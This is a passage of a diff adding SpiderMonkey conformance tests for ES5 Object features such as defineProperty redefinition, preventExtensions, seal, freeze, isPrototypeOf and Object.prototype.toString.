+ put("writable", writable);
+ if (filter(desc))
+ descs.push(desc);
+ });
+ });
+ });
+ });
+ });
+ });
+
+ return descs;
+}
+
+var ALL_DESCRIPTORS = mapTestDescriptors(function(d) { return true; });
+var VALID_DESCRIPTORS = mapTestDescriptors(isValidDescriptor);
+
+function TestRunner()
+{
+ this._logLines = [];
+}
+TestRunner.prototype =
+ {
+ // MAIN METHODS
+
+ runFunctionLengthTests: function runFunctionLengthTests()
+ {
+ var self = this;
+ function functionLengthTests()
+ {
+ self._fullFunctionLengthTests(() => Function("one", "/* body */"), 1);
+ self._fullFunctionLengthTests(() => function(one, two, three=null) { }, 2);
+ self._fullFunctionLengthTests(() => (one, two, ...etc) => 0, 2);
+ self._fullFunctionLengthTests(() => ({method(){}}.method), 0);
+ self._fullFunctionLengthTests(() => Object.getOwnPropertyDescriptor({set x(v){}}, "x").set, 1);
+ }
+
+ this._runTestSet(functionLengthTests, "Function length tests completed!");
+ },
+
+ runNotPresentTests: function runNotPresentTests()
+ {
+ var self = this;
+ function notPresentTests()
+ {
+ print("Running not-present tests now...");
+
+ for (var i = 0, sz = ALL_DESCRIPTORS.length; i < sz; i++)
+ self._runSingleNotPresentTest(ALL_DESCRIPTORS[i]);
+ };
+
+ this._runTestSet(notPresentTests, "Not-present length tests completed!");
+ },
+
+ runPropertyPresentTestsFraction:
+ function runPropertyPresentTestsFraction(part, parts)
+ {
+ var self = this;
+ function propertyPresentTests()
+ {
+ print("Running already-present tests now...");
+
+ var total = VALID_DESCRIPTORS.length;
+ var start = Math.floor((part - 1) / parts * total);
+ var end = Math.floor(part / parts * total);
+
+ for (var i = start; i < end; i++)
+ {
+ var old = VALID_DESCRIPTORS[i];
+ print("Starting test with old descriptor " + old.toSource() + "...");
+
+ for (var j = 0, sz2 = VALID_DESCRIPTORS.length; j < sz2; j++)
+ self._runSinglePropertyPresentTest(old, VALID_DESCRIPTORS[j], []);
+ }
+ }
+
+ this._runTestSet(propertyPresentTests,
+ "Property-present fraction " + part + " of " + parts +
+ " completed!");
+ },
+
+ runNonTerminalPropertyPresentTestsFraction:
+ function runNonTerminalPropertyPresentTestsFraction(part, parts)
+ {
+ var self = this;
+
+ /*
+ * A plain old property to define on the object before redefining the
+ * originally-added property, to test redefinition of a property that's
+ * not also lastProperty. NB: we could loop over every possible
+ * descriptor here if we wanted, even try adding more than one, but we'd
+ * hit cubic complexity and worse, and SpiderMonkey only distinguishes by
+ * the mere presence of the middle property, not its precise details.
+ */
+ var middleDefines =
+ [{
+ property: "middle",
+ descriptor:
+ { value: 17, writable: true, configurable: true, enumerable: true }
+ }];
+
+ function nonTerminalPropertyPresentTests()
+ {
+ print("Running non-terminal already-present tests now...");
+
+ var total = VALID_DESCRIPTORS.length;
+ var start = Math.floor((part - 1) / parts * total);
+ var end = Math.floor(part / parts * total);
+
+ for (var i = start; i < end; i++)
+ {
+ var old = VALID_DESCRIPTORS[i];
+ print("Starting test with old descriptor " + old.toSource() + "...");
+
+ for (var j = 0, sz2 = VALID_DESCRIPTORS.length; j < sz2; j++)
+ {
+ self._runSinglePropertyPresentTest(old, VALID_DESCRIPTORS[j],
+ middleDefines);
+ }
+ }
+ }
+
+ this._runTestSet(nonTerminalPropertyPresentTests,
+ "Non-terminal property-present fraction " +
+ part + " of " + parts + " completed!");
+ },
+
+ runDictionaryPropertyPresentTestsFraction:
+ function runDictionaryPropertyPresentTestsFraction(part, parts)
+ {
+ var self = this;
+
+ /*
+ * Add and readd properties such that the scope for the object is in
+ * dictionary mode.
+ */
+ var middleDefines =
+ [
+ {
+ property: "mid1",
+ descriptor:
+ { value: 17, writable: true, configurable: true, enumerable: true }
+ },
+ {
+ property: "mid2",
+ descriptor:
+ { value: 17, writable: true, configurable: true, enumerable: true }
+ },
+ {
+ property: "mid1",
+ descriptor:
+ { get: function g() { }, set: function s(v){}, configurable: false,
+ enumerable: true }
+ },
+ ];
+
+ function dictionaryPropertyPresentTests()
+ {
+ print("Running dictionary already-present tests now...");
+
+ var total = VALID_DESCRIPTORS.length;
+ var start = Math.floor((part - 1) / parts * total);
+ var end = Math.floor(part / parts * total);
+
+ for (var i = start; i < end; i++)
+ {
+ var old = VALID_DESCRIPTORS[i];
+ print("Starting test with old descriptor " + old.toSource() + "...");
+
+ for (var j = 0, sz2 = VALID_DESCRIPTORS.length; j < sz2; j++)
+ {
+ self._runSinglePropertyPresentTest(old, VALID_DESCRIPTORS[j],
+ middleDefines);
+ }
+ }
+ }
+
+ this._runTestSet(dictionaryPropertyPresentTests,
+ "Dictionary property-present fraction " +
+ part + " of " + parts + " completed!");
+ },
+
+
+ // HELPERS
+
+ runPropertyPresentTests: function runPropertyPresentTests()
+ {
+ print("Running already-present tests now...");
+
+ for (var i = 0, sz = VALID_DESCRIPTORS.length; i < sz; i++)
+ {
+ var old = VALID_DESCRIPTORS[i];
+ print("Starting test with old descriptor " + old.toSource() + "...");
+
+ for (var j = 0, sz2 = VALID_DESCRIPTORS.length; j < sz2; j++)
+ this._runSinglePropertyPresentTest(old, VALID_DESCRIPTORS[j], []);
+ }
+ },
+ _runTestSet: function _runTestSet(fun, completeMessage)
+ {
+ try
+ {
+ fun();
+
+ print(completeMessage);
+ }
+ catch (e)
+ {
+ print("ERROR, EXITING (line " + (e.lineNumber || -1) + "): " + e);
+ throw e;
+ }
+ finally
+ {
+ this._reportAllErrors();
+ }
+ },
+ _reportAllErrors: function _reportAllErrors()
+ {
+ var errorCount = this._logLines.length;
+ print("Full accumulated number of errors: " + errorCount);
+ if (errorCount > 0)
+ throw errorCount + " errors detected, FAIL";
+ },
+ _fullFunctionLengthTests: function _fullFunctionLengthTests(funFactory, len)
+ {
+ print("Running Function.length (" + funFactory + ") tests now...");
+
+ for (var i = 0, sz = VALID_DESCRIPTORS.length; i < sz; i++)
+ {
+ var desc = VALID_DESCRIPTORS[i];
+ this._runSingleFunctionLengthTest(funFactory(), len, desc);
+ }
+ },
+ _log: function _log(v)
+ {
+ var m = "" + v;
+ print(m);
+ this._logLines.push(m);
+ },
+ _runSingleNotPresentTest: function _runSingleNotPresentTest(desc)
+ {
+ var nativeObj = NativeTest.newObject();
+ var reimplObj = ReimplTest.newObject();
+
+ try
+ {
+ NativeTest.defineProperty(nativeObj, "foo", desc);
+ }
+ catch (e)
+ {
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "foo", desc);
+ }
+ catch (e2)
+ {
+ if (e.constructor !== e2.constructor)
+ {
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior for new descriptor " + desc.toSource() +
+ ", native threw " + e + ", reimpl threw " + e2);
+ }
+ return;
+ }
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior for new descriptor " + desc.toSource() +
+ ", error " + e);
+ return;
+ }
+
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "foo", desc);
+ }
+ catch (e)
+ {
+ this._log("Reimpl threw defining new descriptor " + desc.toSource() +
+ ", error: " + e);
+ return;
+ }
+
+ var nativeDesc = NativeTest.getDescriptor(nativeObj, "foo");
+ var reimplDesc = ReimplTest.getDescriptor(reimplObj, "foo");
+ try
+ {
+ compareDescriptors(nativeDesc, reimplDesc);
+ }
+ catch (e)
+ {
+ this._log("Difference comparing returned descriptors for new " +
+ "property defined with descriptor " + desc.toSource() +
+ "; error: " + e);
+ return;
+ }
+ },
+ _runSinglePropertyPresentTest:
+ function _runSinglePropertyPresentTest(old, add, middleDefines)
+ {
+ var nativeObj = NativeTest.newObject();
+ var reimplObj = ReimplTest.newObject();
+
+ try
+ {
+ NativeTest.defineProperty(nativeObj, "foo", old);
+ }
+ catch (e)
+ {
+ if (!SameValue(NativeTest.getDescriptor(nativeObj, "foo"), undefined))
+ {
+ this._log("defining bad property descriptor: " + old.toSource());
+ return;
+ }
+
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "foo", old);
+ }
+ catch (e2)
+ {
+ if (!SameValue(ReimplTest.getDescriptor(reimplObj, "foo"),
+ undefined))
+ {
+ this._log("defining bad property descriptor: " + old.toSource() +
+ "; reimplObj: " + uneval(reimplObj));
+ }
+
+ if (e.constructor !== e2.constructor)
+ {
+ this._log("Different errors defining bad property descriptor: " +
+ old.toSource() + "; native threw " + e + ", reimpl " +
+ "threw " + e2);
+ }
+
+ return;
+ }
+
+ this._log("Difference defining a property with descriptor " +
+ old.toSource() + ", error " + e);
+ return;
+ }
+
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "foo", old);
+ }
+ catch (e)
+ {
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior when adding descriptor " + add.toSource() +
+ ", error: " + e);
+ return;
+ }
+
+ // Now add (or even readd) however many properties were specified between
+ // the original property to add and the new one, to test redefining
+ // non-last-properties and properties in scopes in dictionary mode.
+ for (var i = 0, sz = middleDefines.length; i < sz; i++)
+ {
+ var middle = middleDefines[i];
+ var prop = middle.property;
+ var desc = middle.descriptor;
+
+ try
+ {
+ NativeTest.defineProperty(nativeObj, prop, desc);
+ ReimplTest.defineProperty(reimplObj, prop, desc);
+ }
+ catch (e)
+ {
+ this._log("failure defining middle descriptor: " + desc.toSource() +
+ ", error " + e);
+ return;
+ }
+
+ // Sanity check
+ var nativeDesc = NativeTest.getDescriptor(nativeObj, prop);
+ var reimplDesc = ReimplTest.getDescriptor(reimplObj, prop);
+
+ compareDescriptors(nativeDesc, reimplDesc);
+ compareDescriptors(nativeDesc, desc);
+ }
+
+ try
+ {
+ NativeTest.defineProperty(nativeObj, "foo", add);
+ }
+ catch (e)
+ {
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "foo", add);
+ }
+ catch (e2)
+ {
+ if (e.constructor !== e2.constructor)
+ {
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior for descriptor " + add.toSource() +
+ " overwriting descriptor " + old.toSource() + "; " +
+ "native threw " + e + ", reimpl threw " + e2);
+ }
+ return;
+ }
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior for added descriptor " + add.toSource() + ", " +
+ "initial was " + old.toSource() + "; error: " + e);
+ return;
+ }
+
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "foo", add);
+ }
+ catch (e)
+ {
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior for readded descriptor " + add.toSource() + ", " +
+ "initial was " + old.toSource() + "; native readd didn't " +
+ "throw, reimpl add did, error: " + e);
+ return;
+ }
+
+ var nativeDesc = NativeTest.getDescriptor(nativeObj, "foo");
+ var reimplDesc = ReimplTest.getDescriptor(reimplObj, "foo");
+ try
+ {
+ compareDescriptors(nativeDesc, reimplDesc);
+ }
+ catch (e)
+ {
+ this._log("Difference comparing returned descriptors for readded " +
+ "property defined with descriptor " + add.toSource() + "; " +
+ "initial was " + old.toSource() + "; error: " + e);
+ return;
+ }
+ },
+ _runSingleFunctionLengthTest: function _runSingleFunctionLengthTest(fun, len, desc)
+ {
+ var nativeObj = fun;
+ var reimplObj = ReimplTest.newObject();
+ ReimplTest.defineProperty(reimplObj, "length",
+ {
+ value: len,
+ enumerable: false,
+ configurable: true,
+ writable: false
+ });
+
+ try
+ {
+ NativeTest.defineProperty(nativeObj, "length", desc);
+ }
+ catch (e)
+ {
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "length", desc);
+ }
+ catch (e2)
+ {
+ if (e.constructor !== e2.constructor)
+ {
+ this._log("Difference when comparing native/reimplementation " +
+ "behavior defining fun.length with " + desc.toSource() +
+ "; native threw " + e + ", reimpl threw " + e2);
+ }
+ return;
+ }
+ this._log("Difference when comparing Function.length native/reimpl " +
+ "behavior for descriptor " + desc.toSource() +
+ ", native impl threw error " + e);
+ return;
+ }
+
+ try
+ {
+ ReimplTest.defineProperty(reimplObj, "length", desc);
+ }
+ catch (e)
+ {
+ this._log("Difference defining new Function.length descriptor: impl " +
+ "succeeded, reimpl threw for descriptor " +
+ desc.toSource() + ", error: " + e);
+ return;
+ }
+
+ var nativeDesc = NativeTest.getDescriptor(nativeObj, "length");
+ var reimplDesc = ReimplTest.getDescriptor(reimplObj, "length");
+ try
+ {
+ compareDescriptors(nativeDesc, reimplDesc);
+ }
+ catch (e)
+ {
+ this._log("Difference comparing returned descriptors for " +
+ "Function.length with descriptor " + desc.toSource() +
+ "; error: " + e);
+ return;
+ }
+ }
+ };
+
+function runDictionaryPropertyPresentTestsFraction(PART, PARTS)
+{
+ var testfile =
+ '15.2.3.6-dictionary-redefinition-' + PART + '-of-' + PARTS + '.js';
+ var BUGNUMBER = 560566;
+ var summary =
+ 'ES5 Object.defineProperty(O, P, Attributes): dictionary redefinition ' +
+ PART + ' of ' + PARTS;
+
+ print(BUGNUMBER + ": " + summary);
+
+ try
+ {
+ new TestRunner().runDictionaryPropertyPresentTestsFraction(PART, PARTS);
+ }
+ catch (e)
+ {
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+ }
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+ print("Tests complete!");
+}
+
+function runNonTerminalPropertyPresentTestsFraction(PART, PARTS)
+{
+ var BUGNUMBER = 560566;
+ var summary =
+ 'ES5 Object.defineProperty(O, P, Attributes): middle redefinition ' +
+ PART + ' of ' + PARTS;
+
+ print(BUGNUMBER + ": " + summary);
+
+
+ /**************
+ * BEGIN TEST *
+ **************/
+
+ try
+ {
+ new TestRunner().runNonTerminalPropertyPresentTestsFraction(PART, PARTS);
+ }
+ catch (e)
+ {
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+ }
+
+ /******************************************************************************/
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+ print("Tests complete!");
+}
diff --git a/js/src/tests/ecma_5/Object/extensibility-01.js b/js/src/tests/ecma_5/Object/extensibility-01.js
new file mode 100644
index 000000000..c001f3825
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/extensibility-01.js
@@ -0,0 +1,103 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = '15.2.3.10-01.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 492849;
+var summary = 'ES5: Implement Object.preventExtensions, Object.isExtensible';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function trySetProperty(o, p, v, strict)
+{
+ function strictSetProperty()
+ {
+ "use strict";
+ o[p] = v;
+ }
+
+ function setProperty()
+ {
+ o[p] = v;
+ }
+
+ assertEq(Object.prototype.hasOwnProperty.call(o, p), false);
+
+ try
+ {
+ if (strict)
+ strictSetProperty();
+ else
+ setProperty();
+ if (o[p] === v)
+ return "set";
+ if (p in o)
+ return "set-converted";
+ return "swallowed";
+ }
+ catch (e)
+ {
+ return "throw";
+ }
+}
+
+function tryDefineProperty(o, p, v)
+{
+ assertEq(Object.prototype.hasOwnProperty.call(o, p), false);
+
+ try
+ {
+ Object.defineProperty(o, p, { value: v });
+ if (o[p] === v)
+ return "set";
+ if (p in o)
+ return "set-converted";
+ return "swallowed";
+ }
+ catch (e)
+ {
+ return "throw";
+ }
+}
+
+assertEq(typeof Object.preventExtensions, "function");
+assertEq(Object.preventExtensions.length, 1);
+
+var slowArray = [1, 2, 3];
+slowArray.slow = 5;
+var objs =
+ [{}, { 1: 2 }, { a: 3 }, [], [1], [, 1], slowArray, function a(){}, /a/];
+
+for (var i = 0, sz = objs.length; i < sz; i++)
+{
+ var o = objs[i];
+ assertEq(Object.isExtensible(o), true, "object " + i + " not extensible?");
+
+ var o2 = Object.preventExtensions(o);
+ assertEq(o, o2);
+
+ assertEq(Object.isExtensible(o), false, "object " + i + " is extensible?");
+
+ assertEq(trySetProperty(o, "baz", 17, true), "throw",
+ "unexpected behavior for strict-mode property-addition to " +
+ "object " + i);
+ assertEq(trySetProperty(o, "baz", 17, false), "swallowed",
+ "unexpected behavior for property-addition to object " + i);
+
+ assertEq(tryDefineProperty(o, "baz", 17), "throw",
+ "unexpected behavior for new property definition on object " + i);
+}
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Object/extensibility-02.js b/js/src/tests/ecma_5/Object/extensibility-02.js
new file mode 100644
index 000000000..c61e36728
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/extensibility-02.js
@@ -0,0 +1,42 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = '15.2.3.4-01.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 492849;
+var summary = 'ES5: Implement Object.preventExtensions, Object.isExtensible';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(typeof Object.isExtensible, "function");
+assertEq(Object.isExtensible.length, 1);
+
+var slowArray = [1, 2, 3];
+slowArray.slow = 5;
+var objs =
+ [{}, { 1: 2 }, { a: 3 }, [], [1], [, 1], slowArray, function a(){}, /a/];
+
+for (var i = 0, sz = objs.length; i < sz; i++)
+{
+ var o = objs[i];
+ assertEq(Object.isExtensible(o), true, "object " + i + " not extensible?");
+
+ var o2 = Object.preventExtensions(o);
+ assertEq(o, o2);
+
+ assertEq(Object.isExtensible(o), false, "object " + i + " is extensible?");
+}
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Object/freeze-global-eval-const.js b/js/src/tests/ecma_5/Object/freeze-global-eval-const.js
new file mode 100644
index 000000000..a43f5c51c
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/freeze-global-eval-const.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses evalcx
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+try {
+ evalcx("Object.freeze(this); eval('const q = undefined;')");
+} catch (e) {
+ assertEq(e.message, "({lazy:false}) is not extensible");
+}
+
+reportCompare(0, 0, "don't crash");
diff --git a/js/src/tests/ecma_5/Object/gOPD-vs-prototype-accessor.js b/js/src/tests/ecma_5/Object/gOPD-vs-prototype-accessor.js
new file mode 100644
index 000000000..472887f90
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/gOPD-vs-prototype-accessor.js
@@ -0,0 +1,15 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(function testcase() {
+ var proto = {};
+ Object.defineProperty(proto, "prop", {get: function () {return {};}, enumerable: true});
+ var ConstructFun = function () {};
+ ConstructFun.prototype = proto;
+ var child = new ConstructFun;
+ return Object.getOwnPropertyNames(child).indexOf('prop');
+}(), -1);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_5/Object/getPrototypeOf-array.js b/js/src/tests/ecma_5/Object/getPrototypeOf-array.js
new file mode 100644
index 000000000..e482f89be
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/getPrototypeOf-array.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'getPrototypeOf-array.js';
+var BUGNUMBER = 769041;
+var summary =
+ "The [[Prototype]] of an object whose prototype chain contains an array " +
+ "isn't that array's [[Prototype]]";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [];
+assertEq(Array.isArray(arr), true);
+var objWithArrPrototype = Object.create(arr);
+assertEq(!Array.isArray(objWithArrPrototype), true);
+assertEq(Object.getPrototypeOf(objWithArrPrototype), arr);
+var objWithArrGrandPrototype = Object.create(objWithArrPrototype);
+assertEq(!Array.isArray(objWithArrGrandPrototype), true);
+assertEq(Object.getPrototypeOf(objWithArrGrandPrototype), objWithArrPrototype);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Object/isPrototypeOf.js b/js/src/tests/ecma_5/Object/isPrototypeOf.js
new file mode 100644
index 000000000..a2d78f650
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/isPrototypeOf.js
@@ -0,0 +1,86 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'isPrototypeOf.js';
+var BUGNUMBER = 619283;
+var summary = "Object.prototype.isPrototypeOf";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectThrowTypeError(fun)
+{
+ try
+ {
+ var r = fun();
+ throw new Error("didn't throw TypeError, returned " + r);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't throw TypeError, got: " + e);
+ }
+}
+
+var isPrototypeOf = Object.prototype.isPrototypeOf;
+
+/*
+ * 1. If V is not an Object, return false.
+ */
+assertEq(isPrototypeOf(), false);
+assertEq(isPrototypeOf(1), false);
+assertEq(isPrototypeOf(Number.MAX_VALUE), false);
+assertEq(isPrototypeOf(NaN), false);
+assertEq(isPrototypeOf(""), false);
+assertEq(isPrototypeOf("sesquicentennial"), false);
+assertEq(isPrototypeOf(true), false);
+assertEq(isPrototypeOf(false), false);
+assertEq(isPrototypeOf(0.72), false);
+assertEq(isPrototypeOf(undefined), false);
+assertEq(isPrototypeOf(null), false);
+
+
+/*
+ * 2. Let O be the result of calling ToObject passing the this value as the
+ * argument.
+ */
+var protoGlobal = Object.create(this);
+expectThrowTypeError(function() { isPrototypeOf.call(null, {}); });
+expectThrowTypeError(function() { isPrototypeOf.call(undefined, {}); });
+expectThrowTypeError(function() { isPrototypeOf({}); });
+expectThrowTypeError(function() { isPrototypeOf.call(null, protoGlobal); });
+expectThrowTypeError(function() { isPrototypeOf.call(undefined, protoGlobal); });
+expectThrowTypeError(function() { isPrototypeOf(protoGlobal); });
+
+
+/*
+ * 3. Repeat
+ */
+
+/*
+ * 3a. Let V be the value of the [[Prototype]] internal property of V.
+ * 3b. If V is null, return false.
+ */
+assertEq(Object.prototype.isPrototypeOf(Object.prototype), false);
+assertEq(String.prototype.isPrototypeOf({}), false);
+assertEq(Object.prototype.isPrototypeOf(Object.create(null)), false);
+
+/* 3c. If O and V refer to the same object, return true. */
+assertEq(Object.prototype.isPrototypeOf({}), true);
+assertEq(this.isPrototypeOf(protoGlobal), true);
+assertEq(Object.prototype.isPrototypeOf({}), true);
+assertEq(Object.prototype.isPrototypeOf(new Number(17)), true);
+assertEq(Object.prototype.isPrototypeOf(function(){}), true);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Object/mutation-prevention-methods.js b/js/src/tests/ecma_5/Object/mutation-prevention-methods.js
new file mode 100644
index 000000000..01b4c19cb
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/mutation-prevention-methods.js
@@ -0,0 +1,124 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = 'mutation-prevention-methods.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 492849;
+var summary = 'Object.is{Sealed,Frozen}, Object.{seal,freeze}';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Empty object
+
+var o1 = {};
+
+assertEq(Object.isExtensible(o1), true);
+assertEq(Object.isSealed(o1), false);
+assertEq(Object.isFrozen(o1), false);
+
+Object.preventExtensions(o1);
+
+// An non-extensible empty object has no properties, so it is vacuously sealed
+// and frozen.
+assertEq(Object.isExtensible(o1), false);
+assertEq(Object.isSealed(o1), true);
+assertEq(Object.isFrozen(o1), true);
+
+
+// Object with a data property
+
+var o2 = { 1: 2 };
+
+assertEq(Object.isExtensible(o2), true);
+assertEq(Object.isSealed(o2), false);
+assertEq(Object.isFrozen(o2), false);
+
+Object.preventExtensions(o2);
+
+assertEq(Object.isExtensible(o2), false);
+assertEq(Object.isSealed(o2), false);
+assertEq(Object.isFrozen(o2), false);
+
+Object.seal(o2);
+
+assertEq(Object.isExtensible(o2), false);
+assertEq(Object.isSealed(o2), true);
+assertEq(Object.isFrozen(o2), false);
+
+assertEq(o2[1], 2);
+
+var desc;
+
+desc = Object.getOwnPropertyDescriptor(o2, "1");
+assertEq(typeof desc, "object");
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+assertEq(desc.value, 2);
+assertEq(desc.writable, true);
+
+o2[1] = 17;
+
+assertEq(o2[1], 17);
+
+desc = Object.getOwnPropertyDescriptor(o2, "1");
+assertEq(typeof desc, "object");
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+assertEq(desc.value, 17);
+assertEq(desc.writable, true);
+
+Object.freeze(o2);
+
+assertEq(o2[1], 17);
+
+desc = Object.getOwnPropertyDescriptor(o2, "1");
+assertEq(typeof desc, "object");
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+assertEq(desc.value, 17);
+assertEq(desc.writable, false);
+
+
+// Object with an accessor property
+
+var o3 = { get foo() { return 17; } };
+
+assertEq(Object.isExtensible(o3), true);
+assertEq(Object.isSealed(o3), false);
+assertEq(Object.isFrozen(o3), false);
+
+Object.preventExtensions(o3);
+
+assertEq(Object.isExtensible(o3), false);
+assertEq(Object.isSealed(o3), false);
+assertEq(Object.isFrozen(o3), false);
+
+Object.seal(o3);
+
+// An accessor property in a sealed object is unchanged if that object is
+// frozen, so a sealed object containing only accessor properties is also
+// vacuously frozen.
+assertEq(Object.isExtensible(o3), false);
+assertEq(Object.isSealed(o3), true);
+assertEq(Object.isFrozen(o3), true);
+
+Object.freeze(o3);
+
+assertEq(Object.isExtensible(o3), false);
+assertEq(Object.isSealed(o3), true);
+assertEq(Object.isFrozen(o3), true);
+
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Object/object-create-with-primitive-second-arg.js b/js/src/tests/ecma_5/Object/object-create-with-primitive-second-arg.js
new file mode 100644
index 000000000..44afd53c2
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/object-create-with-primitive-second-arg.js
@@ -0,0 +1,8 @@
+[1, "", true, Symbol(), undefined].forEach(props => {
+ assertEq(Object.getPrototypeOf(Object.create(null, props)), null);
+});
+
+assertThrowsInstanceOf(() => Object.create(null, null), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Object/object-toString-01.js b/js/src/tests/ecma_5/Object/object-toString-01.js
new file mode 100644
index 000000000..6a8c4e86a
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/object-toString-01.js
@@ -0,0 +1,46 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = 'object-toString-01.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 575522;
+var summary = '({}).toString.call(null) == "[object Null]", ' +
+ '({}).toString.call(undefined) == "[object Undefined]", ';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var toString = Object.prototype.toString;
+
+assertEq(toString.call(null), "[object Null]");
+assertEq(toString.call(undefined), "[object Undefined]");
+
+assertEq(toString.call(true), "[object Boolean]");
+assertEq(toString.call(false), "[object Boolean]");
+
+assertEq(toString.call(0), "[object Number]");
+assertEq(toString.call(-0), "[object Number]");
+assertEq(toString.call(1), "[object Number]");
+assertEq(toString.call(-1), "[object Number]");
+assertEq(toString.call(NaN), "[object Number]");
+assertEq(toString.call(Infinity), "[object Number]");
+assertEq(toString.call(-Infinity), "[object Number]");
+
+assertEq(toString.call("foopy"), "[object String]");
+
+assertEq(toString.call({}), "[object Object]");
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Object/preventExtensions-idempotent.js b/js/src/tests/ecma_5/Object/preventExtensions-idempotent.js
new file mode 100644
index 000000000..c0b16d890
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/preventExtensions-idempotent.js
@@ -0,0 +1,30 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = 'preventExtensions-idempotent.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 599459;
+var summary = 'Object.preventExtensions should be idempotent';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj = {};
+assertEq(Object.preventExtensions(obj), obj);
+assertEq(Object.isExtensible(obj), false);
+assertEq(Object.preventExtensions(obj), obj);
+assertEq(Object.isExtensible(obj), false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Object/propertyIsEnumerable.js b/js/src/tests/ecma_5/Object/propertyIsEnumerable.js
new file mode 100644
index 000000000..e9b09d0bf
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/propertyIsEnumerable.js
@@ -0,0 +1,199 @@
